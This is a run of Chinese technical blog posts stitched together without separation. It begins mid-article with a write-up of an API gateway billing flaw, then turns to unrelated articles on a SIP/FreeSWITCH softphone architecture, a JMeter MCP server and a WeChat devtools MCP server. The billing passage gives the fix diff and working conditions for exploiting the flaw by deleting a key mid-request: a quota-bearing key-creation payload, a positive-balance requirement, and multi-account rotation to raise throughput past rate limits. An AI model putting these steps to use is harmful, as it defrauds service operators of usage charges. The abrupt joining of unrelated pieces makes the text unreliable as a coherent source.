第二段没有余额下限校验，sufficient=false 只是返回给上层记个 BalanceOverdrafted 标记。也就是说，一直漏费会把余额一路扣成负数。 我就是这么把自己的号打成 -0.0123884 的。

六、官方怎么修的：就差一个 &&

对比修复版本（0.2.13）和漏洞版本（0.1.176）的同一个函数，diff 只有两处：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

     if cmd.APIKeyQuotaCost > 0 {
         exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost)
-        if err != nil {
+        if err != nil && !errors.Is(err, service.ErrAPIKeyNotFound) {
             return err
         }
         result.APIKeyQuotaExhausted = exhausted
     }
 
     if cmd.APIKeyRateLimitCost > 0 {
-        if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil {
+        if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil && !errors.Is(err, service.ErrAPIKeyNotFound) {
             return err
         }
     }

官方还顺手加了条注释，等于承认了这个问题：

1

// Key 已不存在时跳过其自身的额度/限速计数，其余结算项不受影响。

修法就是：把「Key 不存在」从致命错误降级成可忽略错误。 Key 没了就不记它的配额，但余额该扣还是扣，事务正常提交。

这个修法很精准 —— 它没有去动「扣钱在前、记账在后」的顺序，而是直接消除了「记账失败导致整体回滚」这个后果。换句话说，顺序问题还在，只是不再有可利用的后果了。

七、三个前提条件，缺一不可

想复现这个漏洞，下面三条必须同时成立：

1. 临时 Key 必须带 quota（quota > 0）

这是最容易忽略的一条。看 shouldDeductAPIKeyQuota：

1
2
3

func (p *postUsageBillingParams) shouldDeductAPIKeyQuota() bool {
    return p.Cost.ActualCost > 0 && p.APIKey.Quota > 0 && p.APIKeyService != nil
}

p.APIKey.Quota > 0 是硬条件。建 Key 时如果不填 quota（或者填 0，代表不限额），APIKeyQuotaCost 就是 0，applyUsageBillingEffects 压根不会去碰 api_keys 表，也就永远不会报 ErrAPIKeyNotFound —— 漏洞直接失效。

所以建 Key 的 payload 里那个 quota 字段不是可选项，它是触发回滚的开关：

1

{"name": "tmp", "group_id": 74, "quota": 1.0}

2. 账号余额必须大于 0

这个是我踩得最惨的坑。余额变成负数之后，整个账号会被网关鉴权中间件直接拦死：

1
2
3
4

// backend/internal/server/middleware/api_key_auth.go
func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool {
    return balance <= 0
}

实测覆盖面（余额 -0.0123884 时逐条打）：

所有生成类路由全军覆没，没有漏网的。

这点必须想清楚：这个漏洞能实现的是「不扣钱」，不是「负余额也能用」。 它是给你省钱的，不是给你救命的。想用就得先把余额维持成正数 —— 这也是为什么「漏费即停服」的护栏很重要。

3. 建 Key 有频率配额，它就是吞吐天花板

利用要「一请求一 Key」，那就得考虑建 Key 的频率限制：

1

apikey:create_count:<userID>   Redis 固定 1 小时窗口

默认 60 次/小时/账号。删 Key 不会退还次数（用 ExpireNX 设 TTL，只在首次 INCR 时生效，所以轮询等窗口是安全的，不会把窗口往后推）。

于是绕过模式的吞吐上限就是 60 请求/小时。想提高只能多账号轮换，因为计数键是按 userID 隔离的。

八、总结

把整条链子压缩成一句话：

扣钱和记账写在同一个事务里，扣钱在前、记账在后；记账那一步要求 Key 行还存在。请求在途时把 Key 软删，记账报 ErrAPIKeyNotFound，事务回滚，已经把扣掉的余额一起撤销了。

作者：NowPion

在 SIP Terminal 中落地了一套完整的软电话通信系统：Flutter Android App + Go API + FreeSWITCH + MySQL。

本文将从第一性原理出发，深入浅出地拆解：什么是 SIP？什么是 safarov/freeswitch？整套系统的架构如何设计？以及为什么要做出这样的技术选型与架构实现？

一、 什么是 SIP？

很多初学者容易将 SIP 与“实时语音流”混为一谈，以为音频数据就是通过 SIP 协议传输的。这是最大的误区。

定义：SIP（Session Initiation Protocol，会话发起协议，由 IETF 在 RFC 3261 中定义）是一个应用层信令控制协议。
它只负责会话的“建立、修改和终止”，其本身绝对不承载任何实际的音频或视频媒体流数据。

我们可以把 SIP 直观地理解为电信世界的“HTTP”：

• 纯文本格式：报文由请求行/状态行、报文头（Headers）和报文体（Body）组成，人眼可读；
• 请求/响应模型：客户端发送请求方法（Method），服务端返回三位数字的状态码（Status Code）；
• URI 寻址机制：类似 sip:1001@fs.local 或 sip:alice@example.com，像邮箱与网页地址一样支持域名与分机路由。

1.1 核心请求方法（Methods）

1.2 关键状态码机制：为什么 401 不是错误？

SIP 的状态码与 HTTP 高度相似：

• 1xx 临时响应：100 Trying（服务器处理中）、180 Ringing（对端正在响铃）、183 Session Progress（媒体早期彩铃协商）；
• 2xx 成功：200 OK（呼叫接通/操作成功）；
• 4xx 客户端失败：403 Forbidden（禁止）、486 Busy Here（对方占线）；
• 5xx / 6xx 服务端与全局错误：503 Service Unavailable、603 Decline（对方明确拒接）。

特别需要强调：**401 Unauthorized 在 SIP 注册中是必经的正常流程，绝非系统错误！**

SIP 采用了同 HTTP 相同的摘要认证（Digest Authentication）：

1. 客户端第一次发送裸 REGISTER 请求；
2. 服务器拒绝并返回 401 Unauthorized，在响应头 WWW-Authenticate 中附带随机密钥串 nonce 与认证域 realm；
3. 客户端利用本地保存的密码与 nonce 计算 MD5 摘要，重新发送携带 Authorization 头的 REGISTER；
4. 服务器验证摘要一致，返回 200 OK，注册成功。

sequenceDiagram    participant Client as "App 客户端"    participant FS as "FreeSWITCH (服务端)"    Client->>FS: 1. 发送 SIP REGISTER (无认证凭据)    FS-->>Client: 2. 返回 401 Unauthorized (附带 realm 与 nonce 挑战参数)    Client->>FS: 3. 重新发送 REGISTER (附带基于密码计算的 Digest MD5 摘要)    FS-->>Client: 4. 返回 200 OK (摘要校验通过，注册成功)

1.3 信令与媒体分离机制（Signaling vs Media）

通信系统中最重要的设计模式就是控制面（信令）与数据面（媒体）彻底解耦：

flowchart TD    SIP["SIP 信令控制层 (WSS / TLS)<br/>负责寻址、呼叫邀请、振铃协商、鉴权、挂断"]    SDP["SDP 会话描述协议 (信令载荷 Body)<br/>协商 IP 地址、媒体端口、Opus 编码优先级、DTLS 指纹"]    RTP["WebRTC / SRTP 媒体层 (UDP 端口池)<br/>实时传输经端到端加密的高保真语音数据采样包"]    SIP -->|"报文携带 SDP 协商载荷"| SDP    SDP -->|"参数协商达成一致后建立数据通道"| RTP

• 信令层：通过 SIP 报文完成寻址和状态扭转；
• 协商层（SDP，RFC 4566）：SIP 报文的正文是 SDP 文本，里面声明了本端的 IP、端口、音频格式优先级（如 Opus、G.711 PCMU/A）、加密指纹（DTLS 指纹）等；
• 媒体层（RTP / WebRTC）：双方协商完毕后，建立高速 UDP 数据通道，语音流直接通过 RTP/SRTP 传送，不再占用信令信道。

二、 什么是 safarov/freeswitch？

在软电话架构中，我们需要一台“交换机”（PBX / 软交换系统）来负责分机状态维护、呼叫路由、信令转接与音视频转码。而 FreeSWITCH 就是当今开源界最成熟、性能最强悍的电信级 B2BUA（背对背用户代理）软交换核心。

但在实际落地中，如果你去从零源码编译 FreeSWITCH，极大概率会陷入“依赖地狱”：

• 官方源网络受限，SignalWire 接入需要商业凭据与认证 Token；
• 涉及 WebRTC、OpenSSL、Libwebsockets、Opus、Spandsp 等几十个底层音视频 C/C++ 依赖库的编译；
• 平台环境差异（CentOS、Ubuntu、Debian）极易导致动态链接库符号冲突。

这正是我们选用 safarov/freeswitch Docker 镜像的原因。

2.1 为什么选择 safarov/freeswitch？

1. 官方与社区事实上的标准：
   由 FreeSWITCH 资深维护者 Sergey Safarov 长期维护，是 Docker Hub 上下载量最多、成熟度最高的预编译镜像（Debian 基础底座）。
2. WebRTC 模块开箱即用：
   原生集成了对现代软电话至关重要的核心模块：
   • mod_sofia：SIP 协议栈核心实现；
   • mod_xml_curl：支持通过 HTTP/RESTful 动态获取配置文件和分机目录（整套系统无静态配置的核心基石）；
   • mod_opus：默认开启当今音质最好、弱网抗性最强的 Opus 语音编解码器；
   • mod_verto / mod_rtc：完备的 WebRTC DTLS-SRTP 媒体转码能力。
3. 极简运维与编排：
   配合 Docker Compose，仅需挂载定制的 /etc/freeswitch 配置目录卷，就能在单台服务器或本地开发机上一键拉起生产级别的电信交换服务，避免数十小时的源码编译泥潭。

三、 系统总体架构设计

本项目遵循 前后端分离、信令与媒体解耦、无状态交换网关 的现代化云原生架构。

3.1 架构拓扑图

flowchart TB    subgraph app["Flutter App (客户端)"]        UI["UI 层 (拨号盘 / 通话 / 历史 / 账号)"]        ENGINE["UaCallEngine (SIP 状态机)"]        DBL[("drift SQLite (本地话单缓存)")]    end    subgraph gateway["Caddy 网关 (TLS)"]        R1["HTTPS :443/sipapi/* -> Go API"]        R2["WSS :443/ws -> FreeSWITCH (5066)"]    end    subgraph core["Docker 核心网络"]        FS["FreeSWITCH (5066 WS / 7443 WSS / RTP)"]        API["Go API (JWT 鉴权 / 分机分配 / 目录回调)"]        MYSQL[("MySQL 8.0 数据库")]    end    UI --> ENGINE    UI --> DBL    ENGINE --> R2    R2 --> FS    FS --> ENGINE    UI --> R1    R1 --> API    API --> MYSQL    FS --> API

3.2 模块职责分工

四、 核心业务链路时序剖析

4.1 动态目录认证注册链路（App 上线）

与传统需要在交换机写死配置不同，本系统的分机信息完全保存在 MySQL 中：

sequenceDiagram    autonumber    participant Client as "App 客户端"    participant FS as "FreeSWITCH"    participant API as "Go API"    participant DB as "MySQL 数据库"    Client->>FS: 1. 发起 SIP REGISTER (分机 1002，无密码)    Note over FS: 触发 mod_xml_curl 规则    FS->>API: 2. POST /api/v1/fsw/directory (user=1002)    API->>DB: 3. 查询 sip_accounts 表    DB-->>API: 4. 返回分机记录与密码    API-->>FS: 5. 返回用户 XML (含 password 密码参数)    FS-->>Client: 6. 401 Unauthorized (附带 realm 与 nonce 挑战)    Client->>FS: 7. 重新发起 REGISTER (携带 Digest MD5 摘要)    Note over FS: FreeSWITCH 本地比对摘要成功    FS-->>Client: 8. 200 OK (注册成功，会话建立)

核心注册阶段拆解

4.2 呼叫与 WebRTC 媒体建立链路（通话建立）

sequenceDiagram    autonumber    participant Alice as "主叫 Alice"    participant FS as "FreeSWITCH"    participant Bob as "被叫 Bob"    Alice->>FS: 1. 发起 SIP INVITE (携带本地 SDP 与媒体指纹)    FS->>Bob: 2. 查找在线分机 1002，桥接发送 INVITE    Bob-->>FS: 3. 180 Ringing (被叫振铃)    FS-->>Alice: 4. 180 Ringing (主叫听到回铃音)    Bob->>FS: 5. 用户接听，发送 200 OK (携带被叫 SDP)    FS-->>Alice: 6. 转发 200 OK (完成双方媒体参数协商)    Alice->>FS: 7. 发送 ACK 确认    FS->>Bob: 8. 转发 ACK 确认    Note over Alice,Bob: 媒体建立！双向 DTLS-SRTP 语音流 (UDP 16384-16404)    Alice-->>Bob: 语音通话中 (双向 RTP 传输)    Alice->>FS: 9. 点击挂断，发送 BYE    FS->>Bob: 10. 转发 BYE    Bob-->>Alice: 11. 200 OK (会话安全关闭)

核心通话建立拆解

五、 为什么这样实现？—— 架构选型与深度权衡

技术选型不仅是罗列框架，更是面对现实约束时的工程权衡。本节详细阐述为什么选择这套架构，以及它解决了哪些经典工程痛点。

5.1 为什么用 WebRTC 代替传统的“裸 RTP”？

在传统 VoIP（如早期 IP 话机）中，SIP 呼叫建立后，两端直接开放随机 UDP 端口跑裸 RTP 流。但在现代移动互联网环境下，裸 RTP 会遭遇致命痛点：

1. 极其脆弱的 NAT 穿透与“单通/断流”：
   手机连接的是运营商 4G/5G 复杂的对称 NAT（Symmetric NAT）或家庭路由器防火墙。两台手机如果直接直连发送 UDP，防火墙根本不允许外部未打洞的包入站，导致“电话打通了但听不到声音（单通）”甚至完全无声。
2. 缺乏加密，存在巨大窃听风险：
   传统 RTP 是纯明文，中间路由器任何抓包工具都可以直接重现语音内容。
3. 移动端声学处理极其复杂：
   手机通话必须要处理回声消除（AEC）、噪声抑制（ANS）、自动增益（AGC），否则扬声器播放出来的声音会再次被麦克风录制回传，造成尖锐刺耳的啸叫或回音。

WebRTC 的降维打击优势：

• DTLS-SRTP 默认安全：所有媒体传输在传输层强制进行端到端加密；
• ICE / STUN 完善打洞：集成完整的交互式连通性建立（Interactive Connectivity Establishment），自动探测公网反射地址；
• 专业级声学引擎：flutter_webrtc 底层使用的是 Google 开源的 WebRTC 原生 C++ 音视频引擎，自动调优系统的硬件回声消除与防抖动缓冲（Jitter Buffer），在极高丢包率下依然维持语音可懂度。

5.2 为什么用 SIP over WebSocket (WSS) 代替 UDP/TCP 5060？

传统 SIP 默认监听在 UDP 5060 端口。但在移动 App 上采用纯 UDP 5060 会面临灾难性后果：

• 运营商封锁与 QoS 降级：很多公共 Wi-Fi、公司局域网甚至移动运营商的基站网关，出于安全防范直接阻断非 HTTP 端口或将 5060 端口降级丢弃；
• NAT 映射过快老化：UDP 穿透建立的虚拟映射在路由器上通常只有 30 秒寿命，一旦手机进入锁屏或稍无心跳，链路就被路由器无情斩断，导致来电根本推不下来；
• TLS 证书标准化：WSS（WebSocket Secure）运行在标准 TLS 之上（复用 443 或专属 7443 端口），流量外观与普通安全 Web 流量毫无二致，天然穿透各类防火墙，同时彻底杜绝了信令被窃听和中间人篡改。

5.3 为什么用 mod_xml_curl 动态目录？

痛点场景：
在传统 FreeSWITCH 部署中，增加一个分机 1001，管理员需要登录服务器，在 /etc/freeswitch/directory/default/ 目录下创建一个 1001.xml 文件，写死用户名和密码，然后进入 fs_cli 执行 reloadxml。
这在互联网业务中完全不可行 —— 用户可能每秒都在注册，难道每注册一个用户就要写一次服务器磁盘并重载全量 XML？ 这会导致巨大的 I/O 竞争与交换服务卡顿。

动态目录（mod_xml_curl）的破局点：

• 完全解耦与无状态：FreeSWITCH 内部一张分机表都不存，只充当“计算与转发管道”。每当收到注册，它把请求交给 Go API 接口；
• “数据库即目录”：Go API 直接查 MySQL，有则返回 XML，无则返回 404 XML。
• 瞬时生效：用户刚刚在 App 上注册成功，秒级内就可以直接发起 SIP 注册，无需重启任何服务，零同步成本。

5.4 为什么动态目录接口返回明文密码，而不是预计算的 a1-hash？

这是在开发此类系统时极容易踩中、并导致连续几天毫无头绪的隐蔽陷阱！

根据 SIP 规范，用户密码在服务器端可以存成哈希值 a1-hash = MD5(username:realm:password)，这样服务器不需要知道明文。很多人第一反应是“为了安全，Go API 查库后应该只给 FreeSWITCH a1-hash”。

但这里有一个深层冲突：

• FreeSWITCH 的 profile 通常配置了 challenge-realm=auto_from，即挑战认证域（realm）是动态的，它跟随客户端发起 REGISTER 报文头中的域名或 IP（例如客户端如果在局域网填 192.168.1.10，realm 就是 192.168.1.10；如果在模拟器中填 10.0.2.2，realm 就是 10.0.2.2；生产环境则是 api.example.com）；
• 如果 Go API 返回 a1-hash，这个哈希值必须在写入数据库前绑定一个固定的 realm。一旦客户端连接使用的 host 发生变化，两端计算的 MD5 输入不一致，就会永远鉴权失败，报 401/403！
• 正确做法：Go 内部为每个分配的分机生成 20 位高强度随机密码存入库中，fsw/directory 接口将明文密码通过 XML 喂给 FreeSWITCH。FreeSWITCH 接收到后，利用当前请求真实的 realm 现场计算 MD5 进行动态校验，完美兼容任意复杂的网络接入拓扑。
• 安全边界保障：该接口只下发 SIP 随机密码（非用户登录密码），且强制绑定内网 Docker 容器间通信，在反向代理（Caddy）层直接对公网路由 /api/v1/fsw/* 施加严格的 403 阻断，外部公网绝不可达。

5.5 为什么话单采用“离线优先（Offline-first）”双向同步？

在移动端做 VoIP，网络环境极其脆弱：用户可能在地下车库、电梯或者移动切换基站的瞬间挂断通话。

如果采用传统的“通话结束立刻发 HTTP 请求给服务器记录”：

• 一旦此时断网，HTTP 抛出异常，话单在客户端与服务端彻底永久丢失；
• 如果重试机制设计不当，网络恢复后可能多次重发，导致生成重复账单。

本项目采用的工业级解法（sync_repository.dart）：

flowchart TD    STEP1["通话终态触发 (Hangup / Failed / Missed)"]    STEP2["1. 瞬时持久化至本地 SQLite (Drift 缓存)<br/>置 pushed=false, serverId=null (断网/闪退零丢单)"]    STEP3["2. 触发 pushPending 异步后台任务<br/>扫描未推送记录，向 Go API 发起 POST /calls 上报"]    DECIDE{"服务端返回结果"}    SUCCESS["回填 serverId 并置 pushed=true<br/>标记话单已成功同步云端"]    FAIL["保留 pushed=false 静默留存<br/>待网络恢复或进入列表时自动重试"]    STEP4["3. pullMerge 服务端游标分页下拉合并<br/>基于特征三元组智能关联回填，避免数据重复"]    STEP1 --> STEP2    STEP2 --> STEP3    STEP3 --> DECIDE    DECIDE -->|"HTTP 200 成功"| SUCCESS    DECIDE -->|"网络异常/超时"| FAIL    SUCCESS --> STEP4    FAIL --> STEP4

六、 生产级踩坑排查实录（经验总结）

在整套系统的打通与落地过程中，我们总结了几个最关键的“排错大坑”，供同行参考：

1. FreeSWITCH 报 403 Can't register a pointer

• 现象：客户端配置的分机号与密码确认无误，但无论如何注册都返回 403，日志显示命中静态 pointer 占位符。
• 根因：FreeSWITCH 内部带有一套默认的 vanilla 样例配置，里面把 1000-1014 声明为了外部指针。当容器名变更（如从 go-api 改为 sip-api）导致 xml_curl.conf.xml 里的 URL 无法解析时，FreeSWITCH 不会向上抛错，而是静默回退使用本地静态文件，从而抛出无法注册 pointer 的诡异错误。
• 解法：保证 Docker Compose 网络内服务别名与 gateway-url 绝对一致；在 Go 动态目录中补充 domain 接管模板，彻底切断静态目录回退。

2. Android 14+ 麦克风前台服务闪退（拨打瞬间 Crash）

• 现象：在 Android 14 (API 34) 模拟器或真机上，刚点击呼叫或刚完成注册，应用直接闪退杀死。
• 根因：Android 14 引入了极其严格的前台服务管控。如果应用在 AndroidManifest.xml 中声明了 foregroundServiceType="microphone"，系统要求在启动前台服务之前，必须已经在前台显式获得了系统的麦克风运行时权限（RECORD_AUDIO）；如果在尚未授权的状态下强行启动前台保活服务，系统底层会直接抛出 SecurityException 强制 Crash 终止进程。
• 解法：启动流程与权限状态强关联，在用户首次进入拨号盘或启动服务前前置鉴权，未取得麦克风权限时降级启动无特殊类型的保活通知，待拨号前拦截申请，授权后再挂载录音管道。

3. Caddyfile 单文件挂载的 Inode 陷阱

• 现象：在宿主机上修改了 Caddy 的配置文件，但网关反代路由依然不生效。
• 根因：在 Linux/Windows 上，很多编辑器（或 mv 命令）保存文件时采用的是“写新临时文件 + 原子重命名覆盖”，这会导致原文件的 Inode 发生改变。而 Docker 的单文件 bind mount 绑定的是底层的 Inode 引用，外部改动后容器内读取的依旧是旧文件的物理块。
• 解法：原地覆写（cat new.conf > caddy.conf）或者直接挂载配置所在的上层目录，而非挂载单个孤立文件。

七、 结语与开源

构建一套稳定高可用的 SIP 软电话，绝非简单拼接几个开源库，它涉及信令状态机的高内聚收敛、WebRTC 底层音频流的高效捕获、边缘反代与交换网关的动态鉴权编排，以及移动端恶劣弱网环境下的离线容错设计。

本项目以最小的资源代价（单台轻量云服务器即可轻松支撑上百路并发语音），打通了现代移动端（Flutter）与传统电信通信（FreeSWITCH）的边界，实现了全流程无状态、全动态扩容的云原生软电话架构。

本项目全部代码均已开源：

• 项目仓库：GitHub - NowPion/SIP_terminal
• 核心组件：
  • sip_terminal_app/：Flutter Android 软电话 App
  • server/：Go 1.23 RESTful API & 动态目录服务
  • deploy/：FreeSWITCH 与 Docker 快速部署编排配置

欢迎在实际业务落地、企业内部私有通信调度、SIP 协议深入研究中交流探讨与提出 Issue！

尤其是 Apache JMeter，每次为了测一个接口，先得打开启动奇慢的 Java Swing GUI 界面，手动去建线程组、HTTP 请求、添加 HTTP 信息头管理器、Cookie 管理器、配置察看结果树和聚合报告。改一个参数就要一层层展开树形目录去改，哪怕是在命令行用非 GUI 模式跑，生成出来的要么是几百兆的原始 JTL，要么是生成一个包含成百上千个 HTML/JS/CSS 静态文件的笨重报告目录。

现在大模型能力这么强，我们能不能直接跟 AI 说：“帮我对这个接口压测 50 QPS，持续 30 秒，看看响应时间分布和瓶颈在哪里”？

以前很难，因为：

1. AI 调不动 JMeter：没有统一的标准化通信接口。
2. AI 看不懂压测报告：JMeter 原生的 HTML Dashboard 文件结构太复杂、体积太大，AI 根本没办法全文检索或直接阅读。
3. 容易挂死：一旦目标站点出现极端网络超时、SSL 握手挂起，JMeter 默认无限等待超时，容易把压测进程和测试环境直接拖垮，而且缺少急停手段。

为了彻底打通 AI 与性能测试的壁垒，这里深度重构并开源了 jmeter-mcp-server，基于 Model Context Protocol（模型上下文协议，简称 MCP）将 Apache JMeter 全面改造为 AI 原生的性能测试服务。

开源仓库地址：

• GitHub: https://github.com/NowPion/jmeter-mcp-server
• Gitee: https://gitee.com/niezidong/jmeter-mcp-server

项目致谢：本项目基于 NaveenKumar Namachivayam (QAInsights) 开源的 jmeter-mcp-server 进行了架构重构、生产级加固与特性扩展。

核心能力与升级亮点

1. 动态 JMX 计划生成（免 GUI、全自动组装）

完全告别手动点开 JMeter 界面配置 JMX 的繁琐流程。系统内置了动态 JMX 构造器，只需传入基础参数，即可全自动生成标准的 JMX XML：

• 连接与响应超时保护：内置 connect_timeout (默认 5000ms) 与 response_timeout (默认 10000ms)，从根本上规避目标服务卡死导致的压测线程无限挂起。
• 智能请求头补齐：传入合法 JSON 请求体时，自动补充 Content-Type: application/json，无需人工额外声明。
• 目标 TPS/QPS 控速：内置 ConstantThroughputTimer（恒定吞吐量定时器），支持按指定的每秒吞吐量精准施压。
• 会话保持与断言：默认挂载 CookieManager 维持会话，并支持自动注入 HTTP 状态码校验与文本断言。

2. 全流程 Markdown 报告化与 ASCII 耗时直方图

彻底移除原生 JMeter 臃肿冗余的 HTML Dashboard 输出，转为输出结构严密的单文件 .md 报告：

• 指标全覆盖：自动提取样本量、错误率、吞吐量（TPS）、平均耗时、Median、P90、P95、P99 及极值。
• 纯文本 ASCII 直方图：在 Markdown 报告中直接呈现条形分布图，无需加载图片或 JS 渲染库，AI 可直接语义解析，人类开发者在任何 Markdown 预览器中也能秒级获取耗时特征。
• 接口明细与瓶颈诊断：包含慢接口列表、高错误率排查、离群耗时突变（Anomaly）检测以及并发退化拐点评估。

3. 一键极速压测与压测急停（Kill Switch）

• 提供 quick_http_test 工具：AI 只需一句指令，一步完成「动态生成测试脚本 -> 执行压测 -> 分析结果 -> 输出 Markdown 报告」。
• 提供 stop_running_test 工具：压测失控或目标服务被打垮时，一键发送终止信号，通过 JMeter 官方优雅停止与安全进程回收机制中止测试。

4. 架构瘦身与 STDIO 管道保护

• 服务解耦：将原先臃肿混杂的几百行字符串拼接逻辑剥离为 analyzer/formatter.py 与 engine.render_visualization，核心服务代码行数缩减近 40%，职责更加纯粹。
• 消除协议破坏隐患：彻底排查并清理了所有解析层的 print() 语句，统一收敛为 Logger，避免任何脏数据污染 FastMCP 的 JSON-RPC 标准输入输出管道。
• Windows 路径与引号安全：绕过 Windows cmd.exe 执行 jmeter.bat 时路径包含空格产生的引号解析 Bug，改为优先调用 Java 直接运行 ApacheJMeter.jar，杜绝任何路径兼容性错误。
• 严密测试：全量 59 项自动化单元测试 100% 全部通过。

快速配置与接入使用

准备工作

确保本地已安装：

• Python 3.10+
• Java (JDK 8+)
• Apache JMeter 5.5+（推荐 5.6.3）

接入方式一：使用 uvx 在线运行（免下载源码，最推荐）

不需要在本地 git clone 下载或维护任何源码文件夹。只要安装了 uv，直接在你的 MCP 客户端配置（如 Claude Desktop 的 claude_desktop_config.json 或 IDE 的 mcp_config.json）中填入：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

{
  "mcpServers": {
    "jmeter": {
      "command": "uvx",
      "args": [
        "--from",
        "git+https://github.com/NowPion/jmeter-mcp-server.git",
        "jmeter-mcp-server"
      ],
      "env": {
        "JMETER_HOME": "F:\\Program Files\\apache-jmeter-5.6.3",
        "JMETER_BIN": "F:\\Program Files\\apache-jmeter-5.6.3\\bin\\jmeter.bat"
      }
    }
  }
}

接入方式二：本地克隆源码运行

如果需要二次开发或自定义功能：

1
2
3

git clone https://github.com/NowPion/jmeter-mcp-server.git
cd jmeter-mcp-server
pip install -r requirements.txt

客户端配置直接指向 jmeter_server.py：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

{
  "mcpServers": {
    "jmeter": {
      "command": "python",
      "args": [
        "/path/to/jmeter-mcp-server/jmeter_server.py"
      ],
      "env": {
        "JMETER_HOME": "/path/to/apache-jmeter-5.6.3",
        "JMETER_BIN": "/path/to/apache-jmeter-5.6.3/bin/jmeter.bat"
      }
    }
  }
}

提供的核心 MCP 工具清单

实际使用场景与效果演示

配置好 MCP 之后，日常开发中就可以直接在 AI 对话框中进行压测互动：

场景 1：一键对接口发起梯度压测

你：“帮我对 https://api.example.com/api/v1/orders 做一次压测，并发 10 个线程，持续 15 秒，限制 30 TPS，并校验状态码必须为 200，输出分析报告。”

AI 会自动调用 quick_http_test 工具，生成测试计划并完成压测，直接把生成的 Markdown 报告呈现在对话流中：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# JMeter 性能测试分析报告

## 核心指标概览 (Summary)
| 指标 | 统计数值 |
| :--- | :--- |
| 总请求量 (Total Samples) | 450 |
| 错误请求数 (Error Count) | 0 |
| 错误率 (Error Rate) | 0.00% |
| 平均响应时间 (Average RT) | 126.40 ms |
| 中位数响应时间 (Median RT) | 110.00 ms |
| 90% 分位数 (P90) | 185.00 ms |
| 95% 分位数 (P95) | 210.00 ms |
| 99% 分位数 (P99) | 260.00 ms |
| 最小 / 最大响应时间 | 45.00 ms / 310.00 ms |
| 吞吐量 (Throughput / TPS) | 30.00 req/s |
| 测试执行时长 (Duration) | 15.00 秒 |

### 响应耗时分布图 (Response Time Distribution)
Min    :    45.00 ms [███░░░░░░░░░░░░░░░░░░░]
Avg    :   126.40 ms [█████████░░░░░░░░░░░░░]
Median :   110.00 ms [████████░░░░░░░░░░░░░░]
P90    :   185.00 ms [█████████████░░░░░░░░░]
P95    :   210.00 ms [███████████████░░░░░░░]
P99    :   260.00 ms [██████████████████░░░░]
Max    :   310.00 ms [██████████████████████]

场景 2：让 AI 自动化分析瓶颈与调优建议

你：“分析刚才产生的 results/orders_results.jtl 文件，看看系统性能是否存在隐患。”

AI 会调用 identify_performance_bottlenecks 和 get_performance_insights，主动解析出离群毛刺时间点与并发退化趋势：

• 自动提示接口耗时突增的异常时刻（如 GC 或锁竞争）；
• 计算线程数增长与响应耗时的相关系数，告知系统是否达到性能饱和；
• 提供按 High/Medium 划分的针对性调优策略。

场景 3：异常情况下的急停

你：“目标服务开始报错 502 了，立刻停掉当前测试！”

AI 立即调度 stop_running_test，安全截断测试进程并写出已采集到的采样数据。

结语

在 AI 辅助研发的今天，性能测试不应该再停留在手工写脚本、看几万行日志、在笨拙 GUI 里点来点去的原始阶段。

通过将 JMeter 原生底层与 MCP 协议打通，我们赋予了大模型直接调度压测引擎的能力，实现了需求对话 -> 自动组装 JMX -> 真实执行 -> 纯净 Markdown 诊断报告 -> AI 自行阅读报告并提出代码层优化建议的完整闭环。

欢迎体验与交流！

AI 看得到代码，但是看不到微信开发者工具里的页面、data、console、截图和编译结果。你让它改页面，它只能靠猜；你让它排查 bug，它还得让你一遍遍复制日志，整个过程就很笨。

所以这里做了一个 uniapp-wechat-mcp，把微信开发者工具的 CLI 和 miniprogram-automator SDK 封装成 MCP Server，让 Claude Code、Codex 这类 AI 工具可以直接读取和操作微信开发者工具。

npm 包：

1

npx -y uniapp-wechat-mcp

项目核心能力：

• 通过微信开发者工具官方 CLI 打开项目、登录、编译、预览、上传、构建 npm、清缓存
• 通过 miniprogram-automator 读取当前页面栈和页面 data
• 支持页面跳转，自动判断 tabBar 页面并选择 switchTab 或 reLaunch
• 支持元素点击、输入、读取元素信息、调用页面方法、调用 wx API
• 支持截图，默认保存到当前项目的 screenshots 目录
• 支持采集 console / exception 日志
• 支持读取小程序配置、页面列表、页面源码和单文件
• 支持把内置 .agents/skills/wechat-devtools 暴露给 AI 客户端读取

准备微信开发者工具

先确认本机已经安装微信开发者工具。

然后打开微信开发者工具，开启服务端口：

1

设置 -> 安全设置 -> 服务端口 -> 开启

这个必须开，不然外部 CLI 和 automator 都连不上。很多连接失败的问题，最后都是这里没开。

还要找到微信开发者工具的 cli 路径，后面 MCP 配置会用到。

macOS 一般是：

1

/Applications/wechatwebdevtools.app/Contents/MacOS/cli

Windows 一般是：

1

C:\Program Files (x86)\Tencent\微信web开发者工具\cli.bat

如果你的安装目录不一样，就改成自己的实际路径。

在 MCP 客户端中配置

通常不需要全局安装，直接让 MCP 客户端用 npx 拉起：

1
2
3
4
5
6
7
8
9
10
11

{
  "mcpServers": {
    "uniapp-wechat": {
      "command": "npx",
      "args": ["-y", "uniapp-wechat-mcp"],
      "env": {
        "WECHAT_DEVTOOLS_CLI": "/Applications/wechatwebdevtools.app/Contents/MacOS/cli"
      }
    }
  }
}

Windows 示例：

1
2
3
4
5
6
7
8
9
10
11

{
  "mcpServers": {
    "uniapp-wechat": {
      "command": "npx",
      "args": ["-y", "uniapp-wechat-mcp"],
      "env": {
        "WECHAT_DEVTOOLS_CLI": "C:\\Program Files (x86)\\Tencent\\微信web开发者工具\\cli.bat"
      }
    }
  }
}

这里最关键的是 WECHAT_DEVTOOLS_CLI，它必须指向微信开发者工具官方的 cli 或 cli.bat。

配置完成后，重启一下 AI 客户端，让它重新加载 MCP Server。

项目路径怎么识别

工具调用时可以不传 project_path，MCP 会从当前 workspace 自动找小程序项目。

如果是 uniapp 项目，它会优先找这些目录：

1
2
3
4

unpackage/dist/dev/mp-weixin
unpackage/dist/build/mp-weixin
dist/dev/mp-weixin
dist/build/mp-weixin

也就是说，你可以把 AI 开在 uniapp 源码根目录，它会自己去找编译后的微信小程序产物。

如果是原生微信小程序项目，那目录里至少要有：

1
2

project.config.json
app.json

